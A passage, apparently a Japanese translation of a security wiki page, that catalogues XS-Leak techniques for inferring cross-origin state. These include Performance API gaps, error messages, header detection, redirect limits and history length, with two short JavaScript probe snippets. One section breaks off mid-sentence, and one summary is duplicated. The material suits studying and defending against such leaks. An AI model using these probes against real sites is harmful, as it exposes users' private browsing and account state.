この技術は、上記の論文の表で見つかりましたが、技術の説明は見つかりませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でソースコードを確認することができます。
|
||
|
||
### 空のページの漏洩
|
||
|
||
* **組み込み方法**: フレーム
|
||
* **検出可能な違い**: ページの内容
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: 空のレスポンスはリソースのタイミングエントリを作成しません。
|
||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||
|
||
攻撃者は、一部のブラウザでは**空のページはパフォーマンスエントリを作成しない**ため、リクエストが空のHTTPレスポンスボディで結果が返されたかどうかを検出することができます。
|
||
|
||
### **XSS-Auditorの漏洩**
|
||
|
||
* **組み込み方法**: フレーム
|
||
* **検出可能な違い**: ページの内容
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: XSS-Auditorを使用してウェブページ内の特定の要素の存在を検出します。
|
||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||
|
||
SAでは、XSSAuditorがトリガーされたかどうかを検出し、それによって機密情報が漏洩する可能性があります。 XSS-Auditorは、SAとGC（現在は削除されました）の組み込み機能であり、クロスサイトスクリプティング（XSS）攻撃を緩和するために設計されています。 2013年、BraunとHeiderich \[7\]は、XSS-Auditorを使用して誤検知で無害なスクリプトをブロックすることができることを示しました。彼らの技術に基づいて、研究者は情報を漏洩させ、クロスオリジンのページで特定のコンテンツを検出します。これらのXS-Leakは、最初にTeradaによるバグレポートで説明され、後にHeyesのブログ記事でも説明されました。ただし、発見された技術はGCのXSS-Auditorにのみ適用され、SAでは機能しません。ブロックされたページはパフォーマンスAPIエントリを作成しないため、攻撃者はまだSAのXSS-Auditorを使用して機密情報を漏洩させることができます。
|
||
|
||
### X-Frameの漏洩
|
||
|
||
* **組み込み方法**: フレーム
|
||
* **検出可能な違い**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||
* **概要**: X-Frame-Optionsヘッダーを持つリソースはリソースのタイミングエントリを作成しません。
|
||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||
|
||
ページが**iframeでレンダリング**されることが**許可されていない**場合、**パフォーマンスエントリは作成されません**。その結果、攻撃者はレスポンスヘッダー**`X-Frame-Options`**を検出することができます。\
|
||
同様のことが、**embed** **タグを使用**した場合にも起こります。
|
||
|
||
### ダウンロードの検出
|
||
|
||
* **組み込み方法**: フレーム
|
||
* **検出可能な違い**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: ダウンロードはパフォーマンスAPIのリソースタイミングエントリを作成しません。
|
||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||
|
||
XS-Leakと同様に、ContentDispositionヘッダーによって**ダウンロードされるリソース**も**パフォーマンスエントリを作成しません**。この技術は主要なブラウザで機能します。
|
||
|
||
### リダイレクト開始の漏洩
|
||
|
||
* **組み込み方法**: フレーム
|
||
* **検出可能な違い**: リダイレクト
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: リソースのタイミングエントリがリダイレクトの開始時間を漏洩します。
|
||
* **コード例**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||
|
||
いくつかのブラウザは、クロスオリジンのリクエストに対して多くの情報をログに記録するため、1つのXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリソースにはゼロに設定する必要がある属性のサブセットが定義されています。ただし、**SA**では、**ターゲットページによるリダイレクト**がユーザーによって検出される可能性があります。これは、**Performance API**をクエリし、**redirectStartのタイミングデータ**をチェックすることで行われます。
|
||
|
||
### リダイレクトの期間漏洩
|
||
|
||
* **組み込み方法**: Fetch API
|
||
* **検出可能な違い**: リダイレクト
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: リダイレクトが発生すると、タイミングエントリの期間は負になります。
|
||
* **コード例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||
|
||
GCでは、**リダイレクトが発生する**リクエストの**期間は負**であり、そのためリダイレクトが発生しないリクエストと区別することができます。
|
||
### CORPリーク
|
||
|
||
* **インクルージョンメソッド**: フレーム
|
||
* **検出可能な違い**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: CORPで保護されたリソースは、リソースのタイミングエントリを作成しません。
|
||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||
|
||
いくつかのケースでは、**nextHopProtocolエントリ**をリーク手法として使用することができます。GCでは、**CORPヘッダー**が設定されている場合、nextHopProtocolは**空**になります。SAでは、CORPが有効化されたリソースに対してパフォーマンスエントリを作成しません。
|
||
|
||
### サービスワーカー
|
||
|
||
* **インクルージョンメソッド**: フレーム
|
||
* **検出可能な違い**: APIの使用
|
||
* **詳細情報**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||
* **概要**: 特定のオリジンにサービスワーカーが登録されているかを検出します。
|
||
* **コード例**:
|
||
|
||
サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。ウェブページのバックグラウンドで実行され、オフラインのウェブアプリケーションを作成するためにリソースをインターセプト、変更、**キャッシュ**することができます。\
|
||
サービスワーカーによって**キャッシュされたリソース**が**iframe**経由でアクセスされると、リソースは**サービスワーカーキャッシュから読み込まれます**。\
|
||
リソースが**サービスワーカーキャッシュから読み込まれたかどうか**を検出するには、**Performance API**を使用できます。\
|
||
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。
|
||
|
||
### キャッシュ
|
||
|
||
* **インクルージョンメソッド**: Fetch API
|
||
* **検出可能な違い**: タイミング
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||
* **概要**: リソースがキャッシュに保存されているかどうかを検出します。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
|
||
|
||
[Performance API](xs-search.md#performance-api)を使用すると、リソースがキャッシュされているかどうかを確認できます。\
|
||
詳細についてはこちらを参照してください：[https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||
|
||
### ネットワークの所要時間
|
||
|
||
* **インクルージョンメソッド**: Fetch API
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
* **概要**: `performance` APIからリクエストのネットワーク所要時間を取得することができます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
|
||
## エラーメッセージの技術
|
||
|
||
### メディアエラー
|
||
|
||
* **インクルージョンメソッド**: HTML要素（ビデオ、オーディオ）
|
||
* **検出可能な違い**: ステータスコード
|
||
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||
* **概要**: FFでは、クロスオリジンリクエストのステータスコードを正確にリークすることができます。
|
||
* **コード例**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||
```javascript
|
||
// Code saved here in case it dissapear from the link
|
||
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
||
window.addEventListener("load", startup, false);
|
||
function displayErrorMessage(msg) {
|
||
document.getElementById("log").innerHTML += msg;
|
||
}
|
||
|
||
function startup() {
|
||
let audioElement = document.getElementById("audio");
|
||
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
||
document.getElementById("startTest").addEventListener("click", function() {
|
||
audioElement.src = document.getElementById("testUrl").value;
|
||
}, false);
|
||
// Create the event handler
|
||
var errHandler = function() {
|
||
let err = this.error;
|
||
let message = err.message;
|
||
let status = "";
|
||
|
||
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
||
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
||
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
|
||
status = "Success";
|
||
}else{
|
||
status = "Error";
|
||
}
|
||
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
|
||
};
|
||
audioElement.onerror = errHandler;
|
||
}
|
||
```
|
||
**`MediaError`** インターフェースの **`message`** プロパティには、**正常に読み込まれたリソースに対しては異なる文字列が含まれています**。これにより、クロスオリジンリソースのレスポンスステータスを推測することができます。
|
||
|
||
### CORS エラー
|
||
|
||
* **含まれる方法**: Fetch API
|
||
* **検出可能な違い**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
* **概要**: SA CORS エラーメッセージはリダイレクトの完全な URL を漏洩します。
|
||
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||
|
||
この技術により、クロスオリジンサイトによって開始されるリダイレクトのターゲットを漏洩させることができます。
|
||
|
||
CORS は、公開されているウェブリソースをどのウェブサイトからでも読み取り、使用することを可能にします。WebKit ベースのブラウザでは、CORS リクエストが失敗した場合に **CORS エラーメッセージにアクセスすることができます**。攻撃者は、CORS が有効なリクエストをターゲットのウェブサイトに送信し、ユーザーの状態に基づいて **リダイレクト** が行われるようにします。ブラウザがリクエストを拒否すると、エラーメッセージには **リダイレクト先の完全な URL が漏洩します**。この攻撃により、リダイレクトの検出、リダイレクトの場所の漏洩、および機密なクエリパラメータの漏洩が可能となります。
|
||
|
||
### SRI エラー
|
||
|
||
* **含まれる方法**: Fetch API
|
||
* **検出可能な違い**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
* **概要**: SA CORS エラーメッセージはリダイレクトの完全な URL を漏洩します。
|
||
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||
|
||
攻撃者は、**詳細なエラーメッセージ** により、クロスオリジンのレスポンスのサイズを漏洩させることができます。
|
||
|
||
整合性属性は、ブラウザが取得したリソースが改ざんされていないことを検証するための暗号ハッシュを定義します。このセキュリティメカニズムは Subresource Integrity (SRI) と呼ばれます。これは、コンテンツ配信ネットワーク (CDN) から提供されるリソースの整合性検証に使用されます。データの漏洩を防ぐためには、クロスオリジンのリソースは **CORS が有効** である必要があります。そうでない場合、レスポンスは整合性検証の対象外となります。CORS エラー XS-Leak と同様に、整合性属性を持つフェッチリクエストが失敗した後の **エラーメッセージをキャッチすることが可能** です。攻撃者は、**不正なハッシュ値** を指定して、任意のリクエストでこのエラーを強制的に **トリガー** することができます。SA では、このエラーメッセージにより、要求されたリソースのコンテンツ長が漏洩します。攻撃者はこの漏洩を利用して、レスポンスサイズの違いを検出し、強力な XS-Leak 攻撃を実行することができます。
|
||
|
||
### CSP 違反/検出
|
||
|
||
* **含まれる方法**: ポップアップ
|
||
* **検出可能な違い**: ステータスコード
|
||
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||
* **概要**: CSP で被害者のウェブサイトのみを許可し、アクセスした場合に異なるドメインにリダイレクトしようとすると、CSP は検出可能なエラーをトリガーします。
|
||
* **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||
|
||
XS-Leak は、CSP を使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出することができます。この漏洩により、リダイレクトが検出されるだけでなく、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、**攻撃者のサイトでターゲットドメインを許可する**ことです。ターゲットドメインにリクエストが発行されると、それがクロスオリジンドメインにリダイレクトします。CSP はそれへのアクセスをブロックし、漏洩テクニックとして使用される **違反レポート** を作成します。ブラウザによっては、このレポートが **リダイレクトのターゲット場所を漏洩する** 場合があります。\
|
||
モダンなブラウザでは、リダイレクト先の URL は表示されませんが、クロスオリジンのリダイレクトがトリガーされたことは検出できます。
|
||
|
||
### キャッシュ
|
||
|
||
* **含まれる方法**: フレーム、ポップアップ
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||
* **概要**: キャッシュからファイルをクリアし、ターゲットページでそのファイルがキャッシュに存在するかどうかをチェックします。
|
||
* **コード例:**
|
||
|
||
ブラウザは、すべてのウェブサイトに対して共有キャッシュを使用する場合があります。その起源に関係なく、ターゲットページが **特定のファイルを要求したかどうか** 推測することができます。
|
||
|
||
ページがログインしている場合にのみ画像を読み込む場合、リソースを **無効化** して（キャッシュされている場合はキャッシュされないようにする）、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを **不正なリクエスト**（たとえば、過長なリファラヘッダーを使用）で読み込もうとします。リソースの読み込みが **エラーをトリガーしなかった場合**、それは **キャッシュされている** こ
|
||
### **CORP**
|
||
|
||
* **Inclusion Methods**: Fetch API
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||
* **概要**: CORPで保護されたリソースは、フェッチ時にエラーをスローします。
|
||
* **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||
|
||
CORPヘッダーは、与えられたリソースへのノーコースのクロスオリジンリクエストをブロックする比較的新しいWebプラットフォームのセキュリティ機能です。ヘッダーの存在は検出できます。なぜなら、CORPで保護されたリソースはフェッチ時にエラーをスローするからです。
|
||
|
||
### CORB
|
||
|
||
* **Inclusion Methods**: HTML要素
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
||
* **概要**: CORBは、リクエストに`nosniff`ヘッダーが存在するかどうかを攻撃者が検出できる可能性があります。
|
||
* **コード例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
||
|
||
攻撃に関する詳細情報については、リンクを確認してください。
|
||
|
||
### CORSエラーのオリジンリフレクションの誤構成 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
||
|
||
* **Inclusion Methods**: Fetch API
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||
* **概要**: オリジンヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、リソースが既にキャッシュにあるかどうかを確認できます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||
|
||
オリジンヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、攻撃者はこの動作を悪用してCORSモードでリソースをフェッチしようとすることができます。エラーがトリガされない場合、それはウェブから正しく取得されたことを意味します。エラーがトリガされる場合、それはキャッシュからアクセスされたことを意味します（エラーが表示されるのは、キャッシュが元のドメインを許可するCORSヘッダーを含むレスポンスを保存しているためです）。なお、オリジンが反映されていない場合でもワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、これは機能しません。
|
||
|
||
## Readable Attributes Technique
|
||
|
||
### Fetch Redirect
|
||
|
||
* **Inclusion Methods**: Fetch API
|
||
* **Detectable Difference**: ステータスコード
|
||
* **詳細情報**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||
* **概要**: リダイレクトが完了した後、GCとSAを使用してレスポンスのタイプ（opaque-redirect）を確認できます。
|
||
* **コード例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||
|
||
Fetch APIを使用して`redirect: "manual"`およびその他のパラメーターでリクエストを送信すると、`response.type`属性を読み取り、それが`opaqueredirect`と等しい場合、レスポンスはリダイレクトであったことがわかります。
|
||
|
||
### COOP
|
||
|
||
* **Inclusion Methods**: ポップアップ
|
||
* **Detectable Difference**: ヘッダー
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
||
* **概要**: COOPで保護されたページにアクセスできません。
|
||
* **コード例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||
|
||
クロスオリジンオープナーポリシー（COOP）ヘッダーがクロスオリジンのHTTPレスポンス内に存在するかどうかを攻撃者は漏洩することができます。
|
||
|
||
Webアプリケーションは、他のウェブサイトがアプリケーションへの任意のウィンドウ参照を取得することを防ぐためにCOOPレスポンスヘッダーを展開することができます。ただし、このヘッダーは`contentWindow`参照を読み取ろうとすることで簡単に検出できます。サイトが1つの状態でのみCOOPを展開している場合、このプロパティ（`opener`）は`undefined`です。それ以外の場合は`defined`です。
|
||
|
||
### URL Max Length - Server Side
|
||
|
||
* **Inclusion Methods**: Fetch API, HTML要素
|
||
* **Detectable Difference**: ステータスコード/コンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||
* **概要**: リダイレクトレスポンスの長さが大きすぎてサーバーがエラーを返し、アラートが生成されるため、レスポンスの違いを検出できます。
|
||
* **コード例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||
|
||
サーバーサイドのリダイレクトがリダイレクト内でユーザー入力を使用し、追加のデータを使用する場合、通常、サーバーにはリクエストの長さ制限があります。ユーザーデータがその長さ-1である場合、リダイレクトはそのデータを使用して何かを追加するため、エラーがトリガされ、エラーイベントを介して検出できます。
|
||
|
||
ユーザーに対してクッキーを設定できる場合、クッキーを十分に設定することでこの攻撃を実行することもできます（[**cookie bomb**](hacking-with-cookies/cookie-bomb.md)）。したがって、正しいレスポンスのサイズが増加すると、エラーがトリガされます。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため（エラーを確認できます）。\
|
||
**クッキーボム+XS-Search**の例は、この解決策の意図した解決策で見つけることができます：[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||
|
||
このタイプの攻撃には通常、`SameSite=None`または同じコンテキストにある必要があります。
|
||
### URLの最大長 - クライアントサイド
|
||
|
||
* **含まれる方法**: ポップアップ
|
||
* **検出可能な違い**: ステータスコード / コンテンツ
|
||
* **詳細情報**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
* **概要**: リダイレクトの応答の違いを検出し、リクエストが大きすぎて違いがわかる可能性がある。
|
||
* **コード例**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
|
||
[Chromiumのドキュメント](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length)によると、Chromeの最大URL長は2MBです。
|
||
|
||
> 一般的に、_webプラットフォーム_にはURLの長さの制限はありません（ただし、2^31は一般的な制限です）。_Chrome_は、実用上の理由とプロセス間通信におけるサービス拒否攻撃の問題を回避するために、URLを最大**2MB**に制限しています。
|
||
|
||
したがって、**リダイレクトURLの応答が1つのケースで大きい場合**、**2MBを超えるURL**でリダイレクトを行うことができ、**長さ制限**に達する可能性があります。これが発生すると、Chromeは**`about:blank#blocked`**ページを表示します。
|
||
|
||
**注意すべき違い**は、**リダイレクト**が**完了した場合**、`window.origin`は**エラー**をスローします。なぜなら、クロスオリジンはその情報にアクセスできないからです。しかし、**制限**が**達成され**、読み込まれたページが**`about:blank#blocked`**である場合、ウィンドウの**`origin`**は**親のもの**のままであり、これは**アクセス可能な情報**です。
|
||
|
||
**2MB**に到達するために必要なすべての追加情報は、初期のURLの**ハッシュ**に追加されるため、リダイレクトで**使用されます**。
|
||
|
||
{% content-ref url="xs-search/url-max-length-client-side.md" %}
|
||
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 最大リダイレクト数
|
||
|
||
* **含まれる方法**: Fetch API、フレーム
|
||
* **検出可能な違い**: ステータスコード
|
||
* **詳細情報**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
|
||
* **概要**: リダイレクト制限を悪用してリダイレクトを検出する。
|
||
* **コード例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||
|
||
ブラウザの**最大**リダイレクト数が**20**の場合、攻撃者は自分のページを**19回リダイレクト**し、最終的に被害者をテスト対象のページに**送信**することができます。エラーが発生した場合、ページは被害者を**リダイレクトしようとしていた**ことを意味します。
|
||
|
||
### 履歴の長さ
|
||
|
||
* **含まれる方法**: フレーム、ポップアップ
|
||
* **検出可能な違い**: リダイレクト
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||
* **概要**: JavaScriptコードはブラウザの履歴を操作し、長さプロパティでアクセスできます。
|
||
* **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||
|
||
**History API**は、JavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティを含める方法として使用できます: JavaScriptとHTMLのナビゲーションを検出するために。\
|
||
**`history.length`をチェック**し、ユーザーを**ページに移動**させ、それを**同一オリジンに変更**し、**`history.length`**の新しい値を**チェック**します。
|
||
|
||
### 同じURLの履歴の長さ
|
||
|
||
* **含まれる方法**: フレーム、ポップアップ
|
||
* **検出可能な違い**: 推測したURLと同じかどうか
|
||
* **概要**: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することができます。
|
||
* **コード例**: 以下
|
||
|
||
攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を**推測したURLに操作**し、**すぐに**それを**`about:blank`に変更**することができます。履歴の長さが増加した場合、URLが正しいことを意味し、**同じURLの場合はリロードされないため**、時間があったために増加します。増加しなかった場合、**推測したURLを読み込もうとした**ことを意味し、**すぐに** **`about:blank`**を読み込んだため、推測したURLを読み込む際に**履歴の長さは増加しなかった**。
|
||
```javascript
|
||
async function debug(win, url) {
|
||
win.location = url + '#aaa';
|
||
win.location = 'about:blank';
|
||
await new Promise(r => setTimeout(r, 500));
|
||
return win.history.length;
|
||
}
|
||
|
||
win = window.open("https://example.com/?a=b");
|
||
await new Promise(r => setTimeout(r, 2000));
|
||
console.log(await debug(win, "https://example.com/?a=c"));
|
||
|
||
win.close();
|
||
win = window.open("https://example.com/?a=b");
|
||
await new Promise(r => setTimeout(r, 2000));
|
||
console.log(await debug(win, "https://example.com/?a=b"));
|
||
```
|
||
### フレームのカウント
|
||
|
||
* **含まれる方法**: フレーム、ポップアップ
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||
* **概要**: フレームの数を読み取る（window.length）。
|
||
* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||
|
||
`iframe`または`window.open`を介して開かれたウェブの**フレームの数を数える**ことは、**ユーザーのページ上の状態**を特定するのに役立ちます。\
|
||
さらに、ページに常に同じ数のフレームがある場合、フレームの数を**継続的にチェック**することで、情報を漏洩させる可能性のある**パターン**を特定するのに役立ちます。
|
||
|
||
この技術の例として、Chromeでは、**PDF**は**フレームのカウント**によって**検出**できます。なぜなら、内部で`embed`が使用されているからです。この技術が興味深い場合、`zoom`、`view`、`page`、`toolbar`などの[Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113)を使用して、コンテンツを制御することができます。
|
||
|
||
### HTMLElements
|
||
|
||
* **含まれる方法**: HTML要素
|
||
* **検出可能な違い**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||
* **概要**: 漏洩した値を読み取り、2つの可能な状態を区別する。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||
|
||
一部のウェブページは、ユーザーの情報に応じてメディアファイルを**動的に生成**したり、メディアサイズを変更するウォーターマークを追加したりする場合があります。攻撃者はこれらのHTML要素から漏洩する情報を使用して、可能な状態の間に区別をつけることができます。
|
||
|
||
いくつかのHTMLElementsは、メディアの種類など、クロスオリジンに情報を漏洩します。
|
||
|
||
* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)はメディアの`duration`と`buffered`の時間を漏洩します。
|
||
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)は`videoHeight`と`videoWidth`を漏洩します。一部のブラウザでは`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、`webkitDecodedFrameCount`も持つ場合があります。
|
||
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)は`totalVideoFrames`を漏洩します。
|
||
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)は`height`と`width`を漏洩しますが、画像が無効な場合は0になり、[`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode)は拒否されます。
|
||
|
||
### CSSプロパティ
|
||
|
||
